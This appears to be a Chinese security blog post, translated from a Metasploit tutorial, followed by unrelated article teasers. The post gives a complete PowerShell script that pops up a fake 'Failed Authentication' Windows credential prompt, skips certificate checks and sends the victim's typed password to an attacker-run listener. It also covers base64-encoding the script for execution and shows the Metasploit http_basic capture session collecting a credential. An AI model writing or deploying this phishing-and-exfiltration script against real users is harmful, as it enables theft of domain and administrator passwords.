Powershell基础认证钓鱼与捕获

访客5年前黑客工具695

  本文是metasploitminute的课程 利用powershell生成一个基础认证钓鱼窗体,然后通过metasploit来capture捕获。

  最酷的是不生成额外代码,可以获取任何级别用户的认证信息,无需管理员权限,无需过UAC,通过SSL方式只需要一些免费的证书。

  渗透中不战而屈人之兵为上等,让管理员或者其他域用户拱手交出自己的密码当然是更好了。

  evilpopup_metasploit

  视频教程在此:

  powershell脚本代码:

  $cred=$host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};

  $wc=new-object net.webclient;

  $wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");

  $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;

  $wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;

  $wc.credentials=new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');

  $result=$wc.downloadstring('https://172.16.102.163');

  分解一下:

  $cred=$host.ui.promptforcredential('Failed Authentication','',[Environment]::UserName,[Environment]::UserDomainName);

  这步告诉windows提示凭证,我们设置的标题是“Failed Authentication”(验证失败),在弹窗里面增加了用户名和域名来提过真实性。当然这一切,都只是辅助。

  [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};

  告诉powershell不要验证SSL证书(允许我们后续使用自签署的证书)

  $wc=new-object net.webclient;

  $wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");

  创建一个新的webclient对象并设置它的用户 *** 为Wget。

  $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;

  $wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;

  告诉powershell使用当前用户可能在使用的任何 *** 及任何缓存的凭据。

  $wc.credentials=new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');

  用户在此基础认证钓鱼中输入的密码就是安全研究人员和黑客们想要的密码,对内网渗透十分有裨益。

  $result=$wc.downloadstring('https://172.16.102.163');

  最后发送请求到监听机器上 监听机器上使用metasploit的capture模块

  cat power.txt | iconv --to-code UTF-16LE | base64

  base64一下上述代码

  然后执行你就可以看到十分逼真的基础认证钓鱼窗口:

  2014-09-03-powershellpopup

  另外一边使用metasploit接收密码:

  root@wpad:~/metasploit-framework# https://www.secpulse.com/archives/msfconsole -Lq

  msf > use auxiliary/server/capture/http_basic

  msf auxiliary(http_basic) > show options

  Module options (auxiliary/server/capture/http_basic):

  Name Current Setting Required Description

  ---- --------------- -------- -----------

  REALM Secure Site yes The authentication realm you'd like to present.

  RedirectURL no The page to redirect users to after they enter basic auth creds

  SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0

  SRVPORT 80 yes The local port to listen on.

  SSL false no Negotiate SSL for incoming connections

  SSLCert no Path to a custom SSL certificate (default is randomly generated)

  SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

  URIPATH no The URI to use for this exploit (default is random)

  msf auxiliary(http_basic) > set SSL true

  SSL=> true

  msf auxiliary(http_basic) > set SRVPORT 443

  SRVPORT=> 443

  msf auxiliary(http_basic) > set URIPATH /

  URIPATH=> /

  msf auxiliary(http_basic) > run

  [*] Auxiliary module execution completed

  msf auxiliary(http_basic) >

  [*] Listening on 0.0.0.0:443...

  [*] Using URL: https://0.0.0.0:443/

  [*] Local IP: https://172.16.102.163:443/

  [*] Server started.

  [*] 172.16.102.140 http_basic - Sending 401 to client 172.16.102.140

  [+] 172.16.102.140 - Credential collected: "SITTINGDUCKASDqwe123"=> /

  【原文:Powershell Popups + Capture SP小编翻译发布】

相关文章

合数是什么意思?质数和合数

合数是什么意思?质数和合数

今天给大家讲一讲有关质数与合数的一些简单知识和小故事。 概念质数: 质数(prime number)又称素数,在自然数中除了1和它本身以外不再有其他因数,如3,7,19,23等。质数有无限...

科鲁兹发动机怎么样(科鲁兹用的几缸发动机)

科鲁兹发动机怎么样(科鲁兹用的几缸发动机)

发动机的正常运转需要很多条件,其中有两个条件是特别重要的,那就是发动机的润滑和冷却。如果这两方面出现问题的话,很可能就会导致发动机本身的严重损坏。所以,师傅在保养发动机时,基本都会提醒车主多留意发动机...

真正黑客高手哪里找到(如何成为一个黑客高手)

黑客:编程高手,网络高手,系统高手三者的结合,具备很高的道德境界,对技术狂热追求。好好的学你的专业知识~你就是高手~ 黑客不是相当就当的,因为系统都是由代码和英语组成,文化程度必须高,尤其是理科成绩...

便携式投影机怎么使用(热门便携式投影仪大全

便携式投影机怎么使用(热门便携式投影仪大全

小红花测评说: 暑假到了,孩子们的闲暇时光多了起来,除了户外活动以外,相信各种电子屏也成了宝宝们的心头好。 不少家长们既担心电子屏损伤宝宝的视力,又担心孩子接触到一些未经筛选的不良信息而被“教...

自考有哪些专业(自学考试有哪些专业)

  自学考试都有哪些专业(自考考试都有哪些专业)自学考试为社会认知提升学历方式的一种,由国家统一机构,也是现阶段我国认可文凭的四大考試之一。如今,愈来愈多的人挑选自考考试的培训形式来学历提升。自考文凭...

手机屏幕变成黑白(手机屏幕变成黑白的是什么原因)

手机屏幕变成黑白(手机屏幕变成黑白的是什么原因)

本文目录一览: 1、手机屏幕成黑白了怎么办? 2、手机屏幕变黑白了,怎么解决 3、手机屏幕变成黑白色是怎么回事? 4、手机屏幕变成黑白试过很多办法还没好这怎么办? 手机屏幕成黑白了怎么办...